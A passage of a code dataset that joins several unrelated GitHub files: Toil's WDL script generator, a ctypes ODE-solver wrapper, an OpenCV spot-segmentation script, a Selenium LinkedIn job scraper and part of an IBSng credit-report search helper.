job['body'][statement]['alias']\n elif statement.startswith('scatter'):\n raise NotImplementedError('nested scatter not implemented.')\n elif statement.startswith('if'):\n fn_section += ' if {}:\\n'.format(job['body'][statement]['expression'])\n # reusing write_main_jobwrappers_if() here, but it needs to be indented one more level.\n fn_section += self.indent(self.write_main_jobwrappers_if(job['body'][statement]['body']))\n\n # check for empty scatter section\n if len(job['body']) == 0:\n fn_section += ' pass'\n\n for var in scatter_outputs:\n fn_section += ' {var}.append({task}.rv(\"{output}\"))\\n'.format(var=var['task'] + '_' + var['output'],\n task='job_' + var['task'],\n output=var['output'])\n return fn_section\n\n def write_scatter_callwrapper(self, job, previous_dependency):\n fn_section = ' job_{alias} = {pd}.addFollowOn({task}Cls('.format(alias=job['alias'],\n pd=previous_dependency,\n task=job['task'])\n for var in job['io']:\n fn_section += var + '=' + job['io'][var] + ', '\n if fn_section.endswith(', '):\n fn_section = fn_section[:-2]\n fn_section += '))\\n'\n return fn_section\n\n def write_function(self, job):\n \"\"\"\n Writes out a python function for each WDL \"task\" object.\n\n Each python function is a unit of work written out as a string in\n preparation to being written out to a file. In WDL, each \"job\" is\n called a \"task\". Each WDL task is written out in multiple steps:\n\n 1: Header and inputs (e.g. 'def mapping(self, input1, input2)')\n 2: Log job name (e.g. 'job.fileStore.logToMaster('initialize_jobs')')\n 3: Create temp dir (e.g. 'tempDir = fileStore.getLocalTempDir()')\n 4: import filenames and use readGlobalFile() to get files from the\n jobStore\n 5: Reformat commandline variables (like converting to ' '.join(files)).\n 6: Commandline call using subprocess.Popen().\n 7: Write the section returning the outputs. Also logs stats.\n\n :return: a giant string containing the meat of the job defs for the toil script.\n \"\"\"\n\n # write the function header\n fn_section = self.write_function_header(job)\n\n # write out commandline keywords\n fn_section += self.write_function_cmdline(job)\n\n if self.needsdocker(job):\n # write a bash script to inject into the docker\n fn_section += self.write_function_bashscriptline(job)\n # write a call to the docker API\n fn_section += self.write_function_dockercall(job)\n else:\n # write a subprocess call\n fn_section += self.write_function_subprocesspopen()\n\n # write the outputs for the definition to return\n fn_section += self.write_function_outputreturn(job, docker=self.needsdocker(job))\n\n return fn_section\n\n def write_function_header(self, job):\n \"\"\"\n Writes the header that starts each function, for example, this function\n can write and return:\n\n 'def write_function_header(self, job, job_declaration_array):'\n\n :param job: A list such that:\n (job priority #, job ID #, Job Skeleton Name, Job Alias)\n :param job_declaration_array: A list of all inputs that job requires.\n :return: A string representing this.\n \"\"\"\n fn_section = f'\\n\\nclass {job}Cls(Job):\\n'\n fn_section += ' def __init__(self, '\n if 'inputs' in self.tasks_dictionary[job]:\n for i in self.tasks_dictionary[job]['inputs']:\n var = i[0]\n vartype = i[1]\n if vartype == 'String':\n fn_section += f'{var}=\"\", '\n else:\n fn_section += f'{var}=None, '\n fn_section += '*args, **kwargs):\\n'\n fn_section += f' super({job}Cls, self).__init__(*args, **kwargs)\\n'\n\n # TODO: Resolve inherent problems resolving resource requirements\n # In WDL, \"local-disk \" + 500 + \" HDD\" cannot be directly converted to python.\n # This needs a special handler.\n if 'runtime' in self.tasks_dictionary[job]:\n runtime_resources = []\n if 'memory' in self.tasks_dictionary[job]['runtime']:\n runtime_resources.append('memory=memory')\n memory = self.tasks_dictionary[job]['runtime']['memory']\n fn_section += f' memory=parse_memory({memory})\\n'\n if 'cpu' in self.tasks_dictionary[job]['runtime']:\n runtime_resources.append('cores=cores')\n cores = self.tasks_dictionary[job]['runtime']['cpu']\n fn_section += f' cores=parse_cores({cores})\\n'\n if 'disks' in self.tasks_dictionary[job]['runtime']:\n runtime_resources.append('disk=disk')\n disk = self.tasks_dictionary[job]['runtime']['disks']\n fn_section += f' disk=parse_disk({disk})\\n'\n runtime_resources = ['self'] + runtime_resources\n fn_section += ' Job.__init__({})\\n\\n'.format(', '.join(runtime_resources))\n\n if 'inputs' in self.tasks_dictionary[job]:\n for i in self.tasks_dictionary[job]['inputs']:\n var = i[0]\n var_type = i[1]\n var_expressn = i[2]\n json_expressn = self.json_var(task=job, var=var)\n\n # json declarations have priority and can overwrite\n # whatever is in the wdl file\n if json_expressn is not None:\n var_expressn = json_expressn\n\n if var_expressn is None:\n # declarations from workflow\n fn_section += f' self.id_{var} = {var}\\n'\n else:\n # declarations from a WDL or JSON file\n fn_section += ' self.id_{} = {}.create(\\n {})\\n'\\\n .format(var, self.write_declaration_type(var_type), var_expressn)\n\n fn_section += heredoc_wdl('''\n\n def run(self, fileStore):\n fileStore.logToMaster(\"{jobname}\")\n tempDir = fileStore.getLocalTempDir()\n\n _toil_wdl_internal__stdout_file = os.path.join(tempDir, 'stdout')\n _toil_wdl_internal__stderr_file = os.path.join(tempDir, 'stderr')\n\n try:\n os.makedirs(os.path.join(tempDir, 'execution'))\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n ''', {'jobname': job}, indent=' ')[1:]\n if 'inputs' in self.tasks_dictionary[job]:\n for i in self.tasks_dictionary[job]['inputs']:\n var = i[0]\n var_type = i[1]\n\n docker_bool = str(self.needsdocker(job))\n\n if self.needs_file_import(var_type):\n args = ', '.join(\n [\n f'abspath_file(self.id_{var}, _toil_wdl_internal__current_working_dir)',\n 'tempDir',\n 'fileStore',\n f'docker={docker_bool}'\n ])\n fn_section += f' {var} = process_and_read_file({args})\\n'\n else:\n fn_section += f' {var} = self.id_{var}\\n'\n\n return fn_section\n\n def json_var(self, var, task=None, wf=None):\n \"\"\"\n\n :param var:\n :param task:\n :param wf:\n :return:\n \"\"\"\n # default to the last workflow in the list\n if wf is None:\n for workflow in self.workflows_dictionary:\n wf = workflow\n\n for identifier in self.json_dict:\n # check task declarations\n if task:\n if identifier == f'{wf}.{task}.{var}':\n return self.json_dict[identifier]\n # else check workflow declarations\n else:\n if identifier == f'{wf}.{var}':\n return self.json_dict[identifier]\n\n return None\n\n def needs_file_import(self, var_type: WDLType) -> bool:\n \"\"\"\n Check if the given type contains a File type. A return value of True\n means that the value with this type has files to import.\n \"\"\"\n if isinstance(var_type, WDLFileType):\n return True\n\n if isinstance(var_type, WDLCompoundType):\n if isinstance(var_type, WDLArrayType):\n return self.needs_file_import(var_type.element)\n elif isinstance(var_type, WDLPairType):\n return self.needs_file_import(var_type.left) or self.needs_file_import(var_type.right)\n elif isinstance(var_type, WDLMapType):\n return self.needs_file_import(var_type.key) or self.needs_file_import(var_type.value)\n else:\n raise NotImplementedError\n return False\n\n def write_declaration_type(self, var_type: WDLType):\n \"\"\"\n Return a string that preserves the construction of the given WDL type\n so it can be passed into the compiled script.\n \"\"\"\n section = var_type.__class__.__name__ + '(' # e.g.: 'WDLIntType('\n\n if isinstance(var_type, WDLCompoundType):\n if isinstance(var_type, WDLArrayType):\n section += self.write_declaration_type(var_type.element)\n elif isinstance(var_type, WDLPairType):\n section += self.write_declaration_type(var_type.left) + ', '\n section += self.write_declaration_type(var_type.right)\n elif isinstance(var_type, WDLMapType):\n section += self.write_declaration_type(var_type.key) + ', '\n section += self.write_declaration_type(var_type.value)\n else:\n raise ValueError(var_type)\n\n if var_type.optional:\n if isinstance(var_type, WDLCompoundType):\n section += ', '\n section += 'optional=True'\n return section + ')'\n\n def write_function_bashscriptline(self, job):\n \"\"\"\n Writes a function to create a bashscript for injection into the docker\n container.\n\n :param job_task_reference: The job referenced in WDL's Task section.\n :param job_alias: The actual job name to be written.\n :return: A string writing all of this.\n \"\"\"\n fn_section = \" generate_docker_bashscript_file(temp_dir=tempDir, docker_dir=tempDir, globs=[\"\n # TODO: Add glob\n # if 'outputs' in self.tasks_dictionary[job]:\n # for output in self.tasks_dictionary[job]['outputs']:\n # fn_section += '({}), '.format(output[2])\n if fn_section.endswith(', '):\n fn_section = fn_section[:-2]\n fn_section += f\"], cmd=cmd, job_name='{str(job)}')\\n\\n\"\n\n return fn_section\n\n def write_function_dockercall(self, job):\n \"\"\"\n Writes a string containing the apiDockerCall() that will run the job.\n\n :param job_task_reference: The name of the job calling docker.\n :param docker_image: The corresponding name of the docker image.\n e.g. \"ubuntu:latest\"\n :return: A string containing the apiDockerCall() that will run the job.\n \"\"\"\n docker_dict = {\"docker_image\": self.tasks_dictionary[job]['runtime']['docker'],\n \"job_task_reference\": job,\n \"docker_user\": str(self.docker_user)}\n docker_template = heredoc_wdl('''\n # apiDockerCall() with demux=True returns a tuple of bytes objects (stdout, stderr).\n _toil_wdl_internal__stdout, _toil_wdl_internal__stderr = \\\\\n apiDockerCall(self,\n image={docker_image},\n working_dir=tempDir,\n parameters=[os.path.join(tempDir, \"{job_task_reference}_script.sh\")],\n entrypoint=\"/bin/bash\",\n user={docker_user},\n stderr=True,\n demux=True,\n volumes={{tempDir: {{\"bind\": tempDir}}}})\n with open(os.path.join(_toil_wdl_internal__current_working_dir, '{job_task_reference}.log'), 'wb') as f:\n if _toil_wdl_internal__stdout:\n f.write(_toil_wdl_internal__stdout)\n if _toil_wdl_internal__stderr:\n f.write(_toil_wdl_internal__stderr)\n ''', docker_dict, indent=' ')[1:]\n\n return docker_template\n\n def write_function_cmdline(self, job):\n \"\"\"\n Write a series of commandline variables to be concatenated together\n eventually and either called with subprocess.Popen() or with\n apiDockerCall() if a docker image is called for.\n\n :param job: A list such that:\n (job priority #, job ID #, Job Skeleton Name, Job Alias)\n :return: A string representing this.\n \"\"\"\n\n fn_section = '\\n'\n cmd_array = []\n if 'raw_commandline' in self.tasks_dictionary[job]:\n for cmd in self.tasks_dictionary[job]['raw_commandline']:\n if not cmd.startswith(\"r'''\"):\n cmd = 'str({i} if not isinstance({i}, WDLFile) else process_and_read_file({i}, tempDir, fileStore)).strip(\"{nl}\")'.format(i=cmd, nl=r\"\\n\")\n fn_section = fn_section + heredoc_wdl('''\n try:\n # Intended to deal with \"optional\" inputs that may not exist\n # TODO: handle this better\n command{num} = {cmd}\n except:\n command{num} = ''\\n''', {'cmd': cmd, 'num': self.cmd_num}, indent=' ')\n cmd_array.append('command' + str(self.cmd_num))\n self.cmd_num = self.cmd_num + 1\n\n if cmd_array:\n fn_section += '\\n cmd = '\n for command in cmd_array:\n fn_section += f'{command} + '\n if fn_section.endswith(' + '):\n fn_section = fn_section[:-3]\n fn_section += '\\n cmd = textwrap.dedent(cmd.strip(\"{nl}\"))\\n'.format(nl=r\"\\n\")\n else:\n # empty command section\n fn_section += ' cmd = \"\"'\n\n return fn_section\n\n def write_function_subprocesspopen(self):\n \"\"\"\n Write a subprocess.Popen() call for this function and write it out as a\n string.\n\n :param job: A list such that:\n (job priority #, job ID #, Job Skeleton Name, Job Alias)\n :return: A string representing this.\n \"\"\"\n fn_section = heredoc_wdl('''\n this_process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n _toil_wdl_internal__stdout, _toil_wdl_internal__stderr = this_process.communicate()\\n''', indent=' ')\n\n return fn_section\n\n def write_function_outputreturn(self, job, docker=False):\n \"\"\"\n Find the output values that this function needs and write them out as a\n string.\n\n :param job: A list such that:\n (job priority #, job ID #, Job Skeleton Name, Job Alias)\n :param job_task_reference: The name of the job to look up values for.\n :return: A string representing this.\n \"\"\"\n\n fn_section = ''\n\n fn_section += heredoc_wdl('''\n _toil_wdl_internal__stdout_file = generate_stdout_file(_toil_wdl_internal__stdout,\n tempDir,\n fileStore=fileStore)\n _toil_wdl_internal__stderr_file = generate_stdout_file(_toil_wdl_internal__stderr,\n tempDir,\n fileStore=fileStore,\n stderr=True)\n ''', indent=' ')[1:]\n\n if 'outputs' in self.tasks_dictionary[job]:\n return_values = []\n for output in self.tasks_dictionary[job]['outputs']:\n output_name = output[0]\n output_type = output[1]\n output_value = output[2]\n\n if self.needs_file_import(output_type):\n nonglob_dict = {\n \"output_name\": output_name,\n \"output_type\": self.write_declaration_type(output_type),\n \"expression\": output_value,\n \"out_dir\": self.output_directory}\n\n nonglob_template = heredoc_wdl('''\n {output_name} = {output_type}.create(\n {expression}, output=True)\n {output_name} = process_outfile({output_name}, fileStore, tempDir, '{out_dir}')\n ''', nonglob_dict, indent=' ')[1:]\n fn_section += nonglob_template\n return_values.append(output_name)\n else:\n fn_section += f' {output_name} = {output_value}\\n'\n return_values.append(output_name)\n\n if return_values:\n fn_section += ' rvDict = {'\n for return_value in return_values:\n fn_section += '\"{rv}\": {rv}, '.format(rv=return_value)\n if fn_section.endswith(', '):\n fn_section = fn_section[:-2]\n if return_values:\n fn_section = fn_section + '}\\n'\n\n if return_values:\n fn_section += ' return rvDict\\n\\n'\n\n return fn_section\n\n def indent(self, string2indent: str) -> str:\n \"\"\"\n Indent the input string by 4 spaces.\n \"\"\"\n split_string = string2indent.split('\\n')\n return '\\n'.join(f' {line}' for line in split_string)\n\n def needsdocker(self, job):\n \"\"\"\n\n :param job:\n :return:\n \"\"\"\n if 'runtime' in self.tasks_dictionary[job]:\n if 'docker' in self.tasks_dictionary[job]['runtime']:\n return True\n\n return False\n\n def write_python_file(self,\n module_section,\n fn_section,\n main_section,\n output_file):\n \"\"\"\n Just takes three strings and writes them to output_file.\n\n :param module_section: A string of 'import modules'.\n :param fn_section: A string of python 'def functions()'.\n :param main_section: A string declaring toil options and main's header.\n :param job_section: A string import files into toil and declaring jobs.\n :param output_file: The file to write the compiled toil script to.\n \"\"\"\n with open(output_file, 'w') as file:\n file.write(module_section)\n file.write(fn_section)\n file.write(main_section)\n","repo_name":"DataBiosphere/toil","sub_path":"src/toil/wdl/wdl_synthesis.py","file_name":"wdl_synthesis.py","file_ext":"py","file_size_in_byte":44893,"program_lang":"python","lang":"en","doc_type":"code","stars":856,"dataset":"github-code","pt":"18"} +{"seq_id":"9459670485","text":"''' interface to import C functions from inside Jupyter Notebook\n'''\n\nimport ctypes\nfrom ctypes import *\nfrom numpy.ctypeslib import ndpointer\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport numba\n\n#load our C library, it's as simple as that!\nlib = ctypes.CDLL(\"libode.so\")\n#rename C-based solve_ode() function into solve_ode_c()\nsolve_ode_c = lib.solve_ode\n#in order to call a C function, we need to define:\n# * the return data type\nsolve_ode_c.restype = None\n# * function argument types\nsolve_ode_c.argtypes = [\n ndpointer(ctypes.c_double), \n ndpointer(ctypes.c_double),\n ctypes.c_double,\n ctypes.c_int,\n ctypes.c_int,\n ctypes.c_int,\n ndpointer(ctypes.c_double),\n ctypes.CFUNCTYPE(None,c_double, POINTER(c_double), POINTER(c_double), POINTER(c_double))\n]\n\n#In order to \"hide\" from the end user the C \"guts\" of the library, \n#let's create a python \"wrapper function\" for our ODE solver\ndef solve_ode(fun, t_span, nsteps, z0, method = \"RK4\", args = None ):\n \"\"\"\n Takes in the right-hand side function fun, the time range t_span, \n the number of time steps nsteps, and the initial condition vector z0.\n \n Keyword arguments: \n method -- one of \"Euler\", \"Euler-Cromer\", \"RK2\", \"RK4\", etc ODE solution methods\n args -- arguments to pass to the right-hand side function fun()\n \n Returns: the pair t,z of time and solution vector.\n \"\"\"\n t_span = np.asarray(t_span,dtype=np.double)\n t = np.linspace(t_span[0],t_span[1],nsteps+1,dtype=np.double)\n nvar = len(z0)\n z = np.zeros([nsteps+1,nvar],dtype=np.double,order='C')\n #assign initial conditions\n z0 = np.asarray(z0,dtype=np.double)\n z[0,:] = z0\n #check if the supplied function is numba-based CFunc\n if(\"ctypes\" in dir(fun)):\n #numba-based, we can use it right away\n fun_c = fun.ctypes\n else:\n #otherwise, we need to wrap the python function into CFUNCTYPE\n FUNCTYPE = CFUNCTYPE(None,c_double, POINTER(c_double), POINTER(c_double), POINTER(c_double))\n #create a C-compatible function pointer\n fun_c = FUNCTYPE(fun)\n #compute preliminaries to call the C function library\n dt = (t_span[1]-t_span[0])/nsteps\n if args is not None: args = np.asarray(args,dtype=np.double)\n if method in [\"RK2\", \"RKO2\"]:\n order = 2\n elif method in [\"Euler\"]:\n order = 1\n elif method in [\"Euler-Cromer\"]:\n order = -1\n elif method in [\"Velocity Verlet\"]:\n order = 13\n elif method in [\"Leapfrog\"]:\n order = 5\n elif method in [\"RK4\"]:\n order = 4\n elif method in [\"Yoshida4\"]:\n order = 6\n else:\n #default\n order = 13\n \n #make a call to the C library function\n solve_ode_c(t,z,dt,nsteps,nvar,order,args,fun_c)\n\n return t,z\n","repo_name":"valeriia-rohoza/planetary_orbits","sub_path":"odesolver.py","file_name":"odesolver.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"74867272039","text":"import cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef pixelize_image(image, scale_factor):\r\n\r\n # Déterminer la nouvelle taille de l'image en fonction du facteur de mise à l'échelle\r\n new_width = int(image.shape[1] / scale_factor)\r\n new_height = int(image.shape[0] / scale_factor)\r\n\r\n # Réduire la taille de l'image en utilisant l'interpolation NEAREST\r\n pixelized_image = cv2.resize(image, (new_width, new_height), interpolation=cv2.INTER_NEAREST)\r\n return pixelized_image\r\n\r\n\r\ndef sharpen_image(image):\r\n # Définir le noyau du filtre de netteté\r\n kernel = np.array([[0, -1, 0],\r\n [-1, 5, -1],\r\n [0, -1, 0]])\r\n\r\n # Appliquer le filtre de netteté à l'image\r\n sharpened = cv2.filter2D(image, -1, kernel)\r\n return sharpened\r\n\r\ndef segment_image(image_path, threshold):\r\n\r\n #Image plus nette\r\n image=cv2.imread(image_path,0)\r\n cv2.imshow(\"image de base\",image)\r\n\r\n # Obtenir les dimensions de l'image\r\n hauteur, largeur = image.shape\r\n print(hauteur, largeur)\r\n x1 = largeur\r\n y1 = 0\r\n x2 = largeur//5\r\n y2 = (hauteur//3)*2\r\n image = image[y1:y2, x2:x1]\r\n\r\n #net= sharpen_image(image)\r\n pix=pixelize_image(image,scale_factor)\r\n gray = cv2.equalizeHist(pix)\r\n cv2.imshow('intput',gray)\r\n\r\n\r\n\r\n # Charger l'image en niveaux de gris\r\n #image = cv2.imread(image_path, 0)\r\n #image = cv2.equalizeHist(image)\r\n #cv2.imshow('image', image)\r\n\r\n # Appliquer un seuillage pour segmenter les taches foncées\r\n #canny = cv2.Canny(gray, 30, 150)\r\n #cv2.imshow(\"canny\",canny)\r\n _, segmented = cv2.threshold(gray, threshold, 255, cv2.THRESH_BINARY)\r\n\r\n # Effectuer une opération de morphologie pour améliorer la segmentation\r\n kernel = np.ones((5, 5), np.uint8)\r\n segmented = cv2.morphologyEx(segmented, cv2.MORPH_OPEN, kernel)\r\n\r\n # Trouver les contours des taches segmentées\r\n contours, _ = cv2.findContours(segmented, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\n # Dessiner les contours et attribuer un numéro à chaque tache\r\n output = cv2.cvtColor(segmented, cv2.COLOR_GRAY2BGR)\r\n bluecount = 0\r\n greencount = 0\r\n yellowcount = 0\r\n redcount = 0\r\n for i, contour in enumerate(contours):\r\n # Calculer l'aire de la tache\r\n A1 = cv2.contourArea(contour)\r\n if 2500 >A1 > min_area:\r\n # Dessiner le contour et attribuer un numéro à la tache\r\n #cv2.putText(output, str(i+1), tuple(contour[0][0]), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\r\n\r\n # Afficher l'aire de la tache\r\n #print(\"Aire de la tache\", i+1, \":\", A1)\r\n\r\n # Trouver le cercle d'encadrement le plus petit (centre, rayon)\r\n (x, y), R2 = cv2.minEnclosingCircle(contour)\r\n R2 = int(R2) # Convertir en entier\r\n\r\n #Calcul du fcateur \r\n A2=np.pi*R2*R2\r\n Compare=A1/A2\r\n #print(Compare)\r\n\r\n #Repartition des couleurs\r\n if 0.81 255:\n n_evts = None \n","repo_name":"bbuhlig/fsuipc-contrib","sub_path":"cip_to_evt.py","file_name":"cip_to_evt.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"15321008332","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\nimport time\nfrom datetime import datetime\nimport logging\n\nlogging.basicConfig(filename='app.log', level=logging.INFO)\n\n\n\nclass linkedin():\n '''url:is the link of Linkedin login page\n driver:\n\n '''\n driver_path = 'chromedriver.exe'\n # options = Options()\n #\n # options.add_argument(\"--headless\")\n def __init__(self, url, driver=webdriver.Chrome(driver_path)):\n self.driver = driver\n self.url = url\n # self.login_id=login_id\n # self.login_password=login_password\n # self.job_name=job_name\n\n def login(self, login_id, login_password):\n '''\n return:This function will send our user_id and password to lindkin to login.\n login_id:user id of linkedin\n password:of linkedin account\n '''\n try:\n self.driver.get(self.url)\n # Wait for the \"session_key\" element to be clickable before interacting with it\n user_id = WebDriverWait(self.driver, 30).until(\n EC.element_to_be_clickable((By.ID, \"session_key\"))\n )\n user_id.send_keys(login_id)\n # Wait for the \"session_password\" element to be clickable before interacting with it\n passw = WebDriverWait(self.driver, 30).until(\n EC.element_to_be_clickable((By.ID, \"session_password\"))\n )\n passw.send_keys(login_password)\n\n # Wait for the \"sign-in-form__submit-button\" element to be clickable before interacting with it\n WebDriverWait(self.driver, 30).until(\n EC.element_to_be_clickable((By.CLASS_NAME, \"sign-in-form__submit-button\"))\n ).click()\n\n except TimeoutError as e:\n logging.error(\"Timeout Error: Failed to load page or find login elements\")\n except Exception as e:\n logging.error(\"An unexpected error occurred: \", e)\n\n\n def check_Credentials(self):\n ''' This function will return if we have wrong user_id or wrong password'''\n try:\n if WebDriverWait(self.driver, 10).until(\n EC.presence_of_element_located((By.CLASS_NAME, \"form__input--error\"))).get_attribute(\n \"id\") == \"username\":\n logging.error(\"Wrong user id provided\")\n return str(\"Wrong User Id\")\n elif WebDriverWait(self.driver, 10).until(\n EC.presence_of_element_located((By.CLASS_NAME, \"form__input--error\"))).get_attribute(\n \"id\") == \"password\":\n logging.error(\"Wrong password\")\n return str(\"Wrong Password\")\n except:\n logging.info(\"Login Successfully\")\n return str(\"Login Successfully\")\n\n def search_filter(self, job_name):\n '''\n This function will filter our search results based on time of post and on most recent\n job_name:string of job which we want to scrape\n '''\n #Wait for the \"search-global-typeahead__input\" element to be clickable before interacting with it\n try:\n search = WebDriverWait(self.driver, 30).until(\n EC.element_to_be_clickable((By.CLASS_NAME, \"search-global-typeahead__input\"))\n )\n\n search.send_keys(job_name)\n search.send_keys(Keys.ENTER)\n logging.info(\"Successfully Sent the Job name to search bar.\")\n except Exception as e:\n logging.exception(\"Not able to find the search bar.\")\n\n # Wait for the \"All filters\" element to be clickable before interacting with it\n try:\n all_filter = WebDriverWait(self.driver, 20).until(\n EC.element_to_be_clickable((By.XPATH, \"//*[text()='All filters']\"))\n )\n all_filter.click()\n\n # Wait for the \"advanced-filter-sortBy-DD\" element to be clickable before interacting with it\n ab = WebDriverWait(self.driver, 10).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME, \"search-reusables__value-label\"))\n )\n time.sleep(1)\n for i in ab:\n if i.get_attribute(\"for\") == \"advanced-filter-sortBy-DD\": # most recent filter\n i.click()\n if i.get_attribute(\"for\") == \"advanced-filter-timePostedRange-r86400\": # Past 24 hour filter\n i.click()\n\n # Wait for the show result button to be clickable before interacting with it\n WebDriverWait(self.driver, 10).until(\n EC.element_to_be_clickable((By.XPATH, '/html/body/div[3]/div/div/div[3]/div/button[2]'))\n ).click()\n logging.info(\"Successfully applied the filter\")\n except Exception as e:\n logging.debug(\"Not able to apply filter \")\n self.driver.maximize_window()\n time.sleep(1)\n\n def scroll(self):\n '''\n It will scroll our inner scrollbar attached with a scrable element\n '''\n try:\n ele = self.driver.find_element_by_xpath('//*[@id=\"main\"]/div/section[1]/div')\n self.driver.execute_script(\"arguments[0].scroll(0, arguments[0].scrollHeight);\", ele)\n logging.info(\"Successfully scrolled the page\")\n except Exception as e:\n logging.exception(e)\n\n time.sleep(1)\n\n def pages(self):\n '''\n It will featch the page no which containg jobs\n\n '''\n try:\n pg_2 = WebDriverWait(self.driver, 10).until(\n EC.presence_of_element_located(\n (By.CSS_SELECTOR, 'li[data-test-pagination-page-btn=\"2\"]'))\n )\n logging.info(\"Successfully find the 2nd page.\")\n return pg_2\n except:\n logging.info(\"2nd page not available\")\n\n\n def job_cont(self):\n '''\n It will featch all element that containg the jobs\n '''\n\n job_container = WebDriverWait(self.driver, 10).until(\n lambda driver: self.driver.find_element_by_class_name(\"scaffold-layout__list-container\"))\n\n # Now you can find the elements using the xpath\n\n jo = job_container.find_elements_by_xpath(\".//li/div/div[1]\")\n return jo\n\n def job_detail(self):\n '''\n This function will scrap all the deatils related to a job posted on linkedin\n return:dictionary containing job details\n '''\n jo = self.driver.find_element_by_class_name(\"jobs-unified-top-card__content--two-pane\")\n link = jo.find_element_by_xpath('.//a').get_attribute(\"href\")\n job_prof = jo.find_element_by_xpath('.//a/h2').text\n try:\n company_name = jo.find_element_by_xpath('.//div[1]/span[1]/span[1]/a').text\n company_profile = jo.find_element_by_xpath('.//div[1]/span[1]/span[1]/a').get_attribute(\"href\")\n except:\n company_name = jo.find_element_by_xpath('.//div[1]/span[1]/span[1]').text\n company_profile = \"Not Defined\"\n location = jo.find_element_by_xpath('.//div[1]/span[1]/span[2]').text\n time_post = jo.find_element_by_xpath('.//div[1]/span[2]/span').text\n date_time = datetime.now()\n job_det = {\"Company_Name\": company_name,\n \"Company_Profile\": company_profile,\n \"Job_profile\": job_prof,\n \"Job_Link\": link,\n \"Location\": location,\n \"Time_of_Post\": time_post,\n \"Time_of_scrap\":date_time\n }\n return job_det\n\n def jobs(self,job_name):\n '''\n It scrape and store all the deatils of jobs from every page\n job_name:string of job which we want to scrape.\n return:list containing dictionary\n '''\n try:\n self.search_filter(job_name)\n j = 0\n jobs_det = []\n pg_2 = []\n while j < 2:\n if j == 0:\n time.sleep(1)\n self.scroll()\n self.scroll()\n pg_2.append(self.pages())\n jo = self.job_cont()\n for i in jo:\n i.click()\n jobs_det.append(self.job_detail())\n j += 1\n else:\n # It will handle if there is only page for job container\n if len(pg_2) == 0:\n break\n else:\n pg_2[0].click()\n time.sleep(1)\n self.scroll()\n self.scroll()\n jo = self.job_cont()\n for i in jo:\n i.click()\n jobs_det.append(self.job_detail())\n j += 1\n logging.info(\"Successfully scrape the jobs \")\n return jobs_det\n except Exception as e:\n logging.error(\"Got an error while scrapping jobs\",e)\n\n def move_back(self, input):\n ''' It will move our driver on Home page '''\n try:\n if (input == \"y\") or (input == \"Y\"):\n WebDriverWait(self.driver, 10).until(\n EC.element_to_be_clickable((By.CSS_SELECTOR, 'a[class=\"app-aware-link \"]'))\n ).click()\n logging.info(\"Back on homepage for another job\")\n except Exception as e:\n logging.info(e)","repo_name":"vipinjanghu/linkedin_job_scrapper","sub_path":"scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":9749,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"42585686343","text":"from core.report.search_helper import SearchHelper\nfrom core.report.search_table import SearchTable,SearchAttrsTable\nfrom core.report.search_group import SearchGroup\nfrom core.lib.multi_strs import MultiStr\nfrom core.lib import report_lib\nfrom core.lib.date import AbsDate\nfrom core.admin import admin_main\nfrom core.user import user_main\nfrom core.ras import ras_main\nfrom core.ibs_exceptions import *\nfrom core.errors import errorText\nfrom core.db import db_main\nimport types\n\nclass CreditChangeSearchTable(SearchTable):\n def __init__(self):\n SearchTable.__init__(self,\"credit_change\")\n \n def createQuery(self):\n if not self.getRootGroup().isEmpty():\n table_name=self.getTableName()\n return \"select credit_change_id from %s where %s\"%(table_name,self.getRootGroup().getConditionalClause())\n\nclass CreditChangeUserIDSearchTable(SearchTable):\n def __init__(self):\n SearchTable.__init__(self,\"credit_change_userid\")\n \n def createQuery(self):\n if not self.getRootGroup().isEmpty():\n table_name=self.getTableName()\n return \"select distinct credit_change_id from %s where %s\"%(table_name,self.getRootGroup().getConditionalClause())\n \n\nclass CreditSearchHelper(SearchHelper):\n def __init__(self,conds,requester_obj,requester_role):\n SearchHelper.__init__(self,conds,requester_obj,requester_role,\n {\"credit_change\":CreditChangeSearchTable(),\n \"credit_change_userid\":CreditChangeUserIDSearchTable()})\n def getCreditChanges(self,_from,to,order_by,desc,date_type):\n db_handle=db_main.getHandle(True)\n try:\n self.__createTempTable(db_handle)\n total_rows=self.__getTotalResultsCount(db_handle)\n if total_rows==0:\n return (0,0,0,[])\n total_per_user_credit=self.__getTotalPerUserCredit(db_handle)\n total_admin_credit=self.__getTotalAdminCredit(db_handle)\n credit_changes=self.__getCreditChanges(db_handle,_from,to,order_by,desc)\n user_ids=self.__getUserIDs(db_handle,credit_changes)\n finally:\n self.dropTempTable(db_handle,\"credit_change_report\")\n db_handle.releaseHandle()\n \n return (total_rows,total_per_user_credit,total_admin_credit,self.__createReportResult(credit_changes,user_ids,date_type))\n\n def __createReportResult(self,credit_changes,user_ids,date_type):\n user_ids=self.__convertUserIDsToDic(user_ids)\n self.__repairCreditChangeDic(credit_changes,user_ids,date_type)\n return credit_changes\n \n def __repairCreditChangeDic(self,credit_changes,user_ids,date_type):\n for change in credit_changes:\n change[\"change_time_formatted\"]=AbsDate(change[\"change_time\"],\"gregorian\").getDate(date_type)\n change[\"admin_name\"]=admin_main.getLoader().getAdminByID(change[\"admin_id\"]).getUsername()\n change[\"action_text\"]=user_main.getCreditChangeLogActions().getIDActionText(change[\"action\"])\n try:\n change[\"user_ids\"]=user_ids[change[\"credit_change_id\"]] \n except KeyError:\n change[\"user_ids\"]=[]\n \n return credit_changes\n \n def __convertUserIDsToDic(self,user_ids):\n \"\"\"\n convert user ids to dic in format {credit_change_id:list of user_ids}\n \"\"\"\n dic={}\n last_id=None\n for row in 